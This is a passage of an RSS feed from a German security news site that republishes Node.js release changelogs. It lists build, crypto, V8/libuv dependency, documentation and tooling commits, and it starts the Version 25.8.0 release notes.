<li>[<a href="https://github.com/nodejs/node/commit/d4fa60cf9f"><code>d4fa60cf9f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add raw key formats support to the KeyObject APIs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62240/hovercard">#62240</a></li>
</ul>
<h3>Semver-Patch Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/4d8834fbef"><code>4d8834fbef</code></a>] - <strong>build</strong>: add rust target for macOS cross compiles (Richard Lau) <a href="https://github.com/nodejs/node/pull/63015" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63015/hovercard">#63015</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a4edab8dfb"><code>a4edab8dfb</code></a>] - <strong>build</strong>: use <code>CARGO</code> environment variable if set (Richard Lau) <a href="https://github.com/nodejs/node/pull/62421" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62421/hovercard">#62421</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecf8721076"><code>ecf8721076</code></a>] - <strong>build</strong>: add weak symbol detection to export script (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b9f811662"><code>5b9f811662</code></a>] - <strong>build</strong>: filter hidden visibility symbols on AIX (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e724793e6"><code>2e724793e6</code></a>] - <strong>build</strong>: aix add conditonal flags for clang builds (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f212aee483"><code>f212aee483</code></a>] - <strong>build</strong>: enable temporal on GHA macOS build (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61691" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61691/hovercard">#61691</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/159ae48f8c"><code>159ae48f8c</code></a>] - <strong>build</strong>: add <code>cargo</code> and <code>rustc</code> checks for Temporal (Richard Lau) <a href="https://github.com/nodejs/node/pull/61467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61467/hovercard">#61467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a004535617"><code>a004535617</code></a>] - <strong>build</strong>: add temporal to linux GHA build (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60942/hovercard">#60942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9df9b66c18"><code>9df9b66c18</code></a>] - <strong>crypto</strong>: add support for Ed25519 context parameter (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62474/hovercard">#62474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c3042c605b"><code>c3042c605b</code></a>] - <strong>crypto</strong>: recognize raw formats in keygen (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62480/hovercard">#62480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce0f498def"><code>ce0f498def</code></a>] - <strong>deps</strong>: V8: cherry-pick fcf8b990c73c (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62894" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62894/hovercard">#62894</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fab70d56"><code>b7fab70d56</code></a>] - <em><strong>Revert</strong></em> "<strong>deps</strong>: V8: cherry-pick 7107287" (Richard Lau) <a href="https://github.com/nodejs/node/pull/62894" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62894/hovercard">#62894</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d936c30fb4"><code>d936c30fb4</code></a>] - <strong>deps</strong>: V8: cherry-pick 7107287 (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c91d00b6d4"><code>c91d00b6d4</code></a>] - <strong>deps</strong>: fix aix implicit declaration in OpenSSL (Abdirahim Musse) <a href="https://github.com/nodejs/node/pull/62656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62656/hovercard">#62656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0474a27c06"><code>0474a27c06</code></a>] - <strong>deps</strong>: libuv: revert 3a9a6e3e6b (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62511/hovercard">#62511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7547e795ef"><code>7547e795ef</code></a>] - <strong>deps</strong>: update icu to 78.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62324/hovercard">#62324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5bebd7eaea"><code>5bebd7eaea</code></a>] - <strong>deps</strong>: update libuv to 1.52.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61829/hovercard">#61829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87d7db1918"><code>87d7db1918</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.18 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61421" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61421/hovercard">#61421</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9d27d9a393"><code>9d27d9a393</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.17 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61058" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61058/hovercard">#61058</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfc729cf19"><code>bfc729cf19</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60819/hovercard">#60819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8716146d5b"><code>8716146d5b</code></a>] - <strong>deps</strong>: patch V8 to 14.3.127.14 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60743/hovercard">#60743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da71ab6895"><code>da71ab6895</code></a>] - <strong>deps</strong>: V8: cherry-pick highway@989a498fdf3 (Richard Lau) <a href="https://github.com/nodejs/node/pull/60682" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60682/hovercard">#60682</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/72d719dc00"><code>72d719dc00</code></a>] - <strong>deps</strong>: support madvise(3C) across ALL illumos revisions (Dan McDonald) <a href="https://github.com/nodejs/node/pull/58237" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58237/hovercard">#58237</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecca2b0d64"><code>ecca2b0d64</code></a>] - <strong>deps</strong>: define V8_PRESERVE_MOST as no-op on Windows (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/56238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56238/hovercard">#56238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/baefd4d5e2"><code>baefd4d5e2</code></a>] - <strong>deps</strong>: patch V8 to 14.2.231.17 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60647" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60647/hovercard">#60647</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76d6be5fc5"><code>76d6be5fc5</code></a>] - <strong>deps</strong>: patch V8 to 14.2.231.16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60544" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60544/hovercard">#60544</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0ca993514"><code>e0ca993514</code></a>] - <strong>deps</strong>: patch V8 to 14.2.231.14 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60413" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60413/hovercard">#60413</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de8386de4d"><code>de8386de4d</code></a>] - <strong>deps</strong>: V8: cherry-pick f93055fbd5aa (Olivier Flückiger) <a href="https://github.com/nodejs/node/pull/60105" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60105/hovercard">#60105</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/710105bab5"><code>710105bab5</code></a>] - <strong>deps</strong>: support madvise(3C) across ALL illumos revisions (Dan McDonald) <a href="https://github.com/nodejs/node/pull/58237" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58237/hovercard">#58237</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e5f3b9fe1"><code>6e5f3b9fe1</code></a>] - <strong>deps</strong>: define V8_PRESERVE_MOST as no-op on Windows (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/56238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56238/hovercard">#56238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b2c5235254"><code>b2c5235254</code></a>] - <strong>doc</strong>: fix stray carriage return in packages.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62350" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62350/hovercard">#62350</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f38a739623"><code>f38a739623</code></a>] - <strong>doc</strong>: reserve NMV 146 for Electron 42 (Niklas Wenzel) <a href="https://github.com/nodejs/node/pull/62124" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62124/hovercard">#62124</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a57893b799"><code>a57893b799</code></a>] - <strong>doc</strong>: add Temporal section to Table of Contents (Richard Lau) <a href="https://github.com/nodejs/node/pull/61805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61805/hovercard">#61805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4cc54b8c8"><code>d4cc54b8c8</code></a>] - <strong>doc</strong>: fix v24 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/659fd01b3e"><code>659fd01b3e</code></a>] - <strong>doc</strong>: fix v22 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c96a63891"><code>6c96a63891</code></a>] - <strong>doc</strong>: fix v20 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a18f8c1693"><code>a18f8c1693</code></a>] - <strong>doc</strong>: reserve NMV 145 for Electron 41 (Niklas Wenzel) <a href="https://github.com/nodejs/node/pull/61291" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61291/hovercard">#61291</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/253b16fe14"><code>253b16fe14</code></a>] - <strong>doc</strong>: add note about rust toolchain version requirement (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60942/hovercard">#60942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0177491df2"><code>0177491df2</code></a>] - <strong>doc</strong>: restore REPLACEME on assert change (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60848/hovercard">#60848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dec0213c83"><code>dec0213c83</code></a>] - <strong>doc</strong>: add known issue to v24.11.0 release notes (Richard Lau) <a href="https://github.com/nodejs/node/pull/60467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60467/hovercard">#60467</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7ca0ae765"><code>f7ca0ae765</code></a>] - <strong>doc</strong>: remove Corepack documentation page (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/57663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57663/hovercard">#57663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a7d9c49490"><code>a7d9c49490</code></a>] - <strong>doc</strong>: reserve NMV 143 for Electron 40 (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/60386" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60386/hovercard">#60386</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a086a1f4"><code>04a086a1f4</code></a>] - <strong>esm</strong>: use wasm version of cjs-module-lexer (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60663/hovercard">#60663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a27052f2e0"><code>a27052f2e0</code></a>] - <em><strong>Revert</strong></em> "<strong>inspector</strong>: fix compressed responses" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61502/hovercard">#61502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/186c7a9c74"><code>186c7a9c74</code></a>] - <strong>inspector</strong>: fix compressed responses (Ruben Nogueira) <a href="https://github.com/nodejs/node/pull/61226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61226/hovercard">#61226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/012bf70908"><code>012bf70908</code></a>] - <strong>process</strong>: optimize asyncHandledRejections by using FixedQueue (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60854/hovercard">#60854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a88acbfa2"><code>1a88acbfa2</code></a>] - <strong>quic</strong>: fixup linting/formatting issues (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79b960a2bc"><code>79b960a2bc</code></a>] - <strong>quic</strong>: update http3 impl details (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57186e5827"><code>57186e5827</code></a>] - <strong>quic</strong>: fix a handful of bugs and missing functionality (James M Snell) <a href="https://github.com/nodejs/node/pull/62387" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62387/hovercard">#62387</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/637bda0238"><code>637bda0238</code></a>] - <strong>sqlite</strong>: enable Percentile extension (Jurj Andrei George) <a href="https://github.com/nodejs/node/pull/61295" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61295/hovercard">#61295</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e619adfb86"><code>e619adfb86</code></a>] - <strong>src</strong>: workaround AIX libc++ std::filesystem bug (Richard Lau) <a href="https://github.com/nodejs/node/pull/62788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62788/hovercard">#62788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/79262ff860"><code>79262ff860</code></a>] - <strong>src</strong>: do not enable wasm trap handler if there's not enough vmem (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62132" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62132/hovercard">#62132</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2422ed8b5b"><code>2422ed8b5b</code></a>] - <strong>src</strong>: remove redundant <code>experimental_transform_types</code> from node_options.h (沈鸿飞) <a href="https://github.com/nodejs/node/pull/62058" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62058/hovercard">#62058</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a86db6be70"><code>a86db6be70</code></a>] - <strong>src</strong>: simplify handling of kNoAuthTagLength (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/61192" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61192/hovercard">#61192</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d546e7fd0b"><code>d546e7fd0b</code></a>] - <strong>src</strong>: tag more v8 aligned pointer slots (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60666" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60666/hovercard">#60666</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8e264d3c3"><code>b8e264d3c3</code></a>] - <strong>src</strong>: tag v8 aligned pointer slots with embedder data type tags (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60602" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60602/hovercard">#60602</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd391b5f11"><code>cd391b5f11</code></a>] - <strong>test</strong>: wpt for Wasm jsapi including new ESM Integration tests (Guy Bedford) <a href="https://github.com/nodejs/node/pull/59034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59034/hovercard">#59034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1baafcc882"><code>1baafcc882</code></a>] - <strong>test</strong>: update WPT resources, interfaces and WebCryptoAPI (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62389/hovercard">#62389</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a84d4a17c"><code>6a84d4a17c</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 832efc09b4caf6b4569fbf9dc01bec3082a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62486" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62486/hovercard">#62486</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a98d9f6ad7"><code>a98d9f6ad7</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 9cf7092bdd603554bd8b63c216e8943cf9b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62383/hovercard">#62383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6d02af01f"><code>f6d02af01f</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to f82ce7af0b79ac154b12e27ed800aeb9741 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62258" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62258/hovercard">#62258</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b5f069a27"><code>5b5f069a27</code></a>] - <strong>tools</strong>: bump nixpkgs-unstable pin to e38213b91d3786389a446dfce4ff5a8aaf6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62052/hovercard">#62052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13eb80f3b7"><code>13eb80f3b7</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to d1c15b7d5806069da59e819999d70e1cec0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61931" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61931/hovercard">#61931</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d1557a744"><code>4d1557a744</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 2343bbb58f99267223bc2aac4fc9ea301a1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61831/hovercard">#61831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecd979c95a"><code>ecd979c95a</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ae67888ff7ef9dff69b3cf0cc0fbfbcd3a7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61733" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61733/hovercard">#61733</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7de56bdee2"><code>7de56bdee2</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 6308c3b21396534d8aaeac46179c14c439a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61606" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61606/hovercard">#61606</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e33ce7a6fe"><code>e33ce7a6fe</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ab9fbbcf4858bd6d40ba2bbec37ceb4ab6e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61513" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61513/hovercard">#61513</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba05a66774"><code>ba05a66774</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to be5afa0fcb31f0a96bf9ecba05a516c66fc (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61420" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61420/hovercard">#61420</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb5d066989"><code>bb5d066989</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 3146c6aa9995e7351a398e17470e15305e6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61340" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61340/hovercard">#61340</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d050aa87e8"><code>d050aa87e8</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 16c7794d0a28b5a37904d55bcca36003b91 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61272" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61272/hovercard">#61272</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2696391b18"><code>2696391b18</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 3edc4a30ed3903fdf6f90c837f961fa6b49 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61188/hovercard">#61188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c5d3f5f9c8"><code>c5d3f5f9c8</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 7d853e518814cca2a657b72eeba67ae20eb (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61137" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61137/hovercard">#61137</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dcb9573d0f"><code>dcb9573d0f</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to f997fa0f94fb1ce55bccb97f60d41412ae8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61057/hovercard">#61057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd426739dc"><code>bd426739dc</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to a672be65651c80d3f592a89b3945466584a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60980/hovercard">#60980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85852a3221"><code>85852a3221</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 59b6c96beacc898566c9be1052ae806f383 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60900/hovercard">#60900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e7eb90b39"><code>1e7eb90b39</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to a8d610af3f1a5fb71e23e08434d8d61a466 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60818" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60818/hovercard">#60818</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fb6b83c9ef"><code>fb6b83c9ef</code></a>] - <strong>tools</strong>: lint Temporal global (René) <a href="https://github.com/nodejs/node/pull/60793" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60793/hovercard">#60793</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/adb40439ca"><code>adb40439ca</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 71cf367cc2c168b0c2959835659c38f0a34 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60742/hovercard">#60742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a76958005"><code>8a76958005</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to ffcdcf99d65c61956d882df249a9be53e59 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60315" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60315/hovercard">#60315</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-03, Version 25.8.0 (Current), @richardlau]]></title>
<description><![CDATA[Notable Changes

[e55eddea2a] - build, doc: use new api doc tooling (flakey5) #57343
[4c181e2277] - (SEMVER-MINOR) sqlite: add limits property to DatabaseSync (Mert Can Altin) #61298
[46ee1eddd7] - (SEMVER-MINOR) src: add C++ support for diagnostics channels (RafaelGSS) #61869
[9ddd1a9c27] - (SEM...]]></description>
<link>https://tsecurity.de/de/3487710/downloads/2026-03-03-version-2580-current-richardlau/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487710/downloads/2026-03-03-version-2580-current-richardlau/</guid>
<pubDate>Tue, 05 May 2026 02:03:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/e55eddea2a"><code>e55eddea2a</code></a>] - <strong>build, doc</strong>: use new api doc tooling (flakey5) <a href="https://github.com/nodejs/node/pull/57343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57343/hovercard">#57343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c181e2277"><code>4c181e2277</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46ee1eddd7"><code>46ee1eddd7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ddd1a9c27"><code>9ddd1a9c27</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src,permission</strong>: add --permission-audit (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d97ec4044"><code>0d97ec4044</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/940b58c8c1"><code>940b58c8c1</code></a>] - <strong>buffer</strong>: optimize buffer.concat performance (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61721" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61721/hovercard">#61721</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0589b0e5a1"><code>0589b0e5a1</code></a>] - <strong>build</strong>: fix GN for new merve dep (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61984" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61984/hovercard">#61984</a></li>
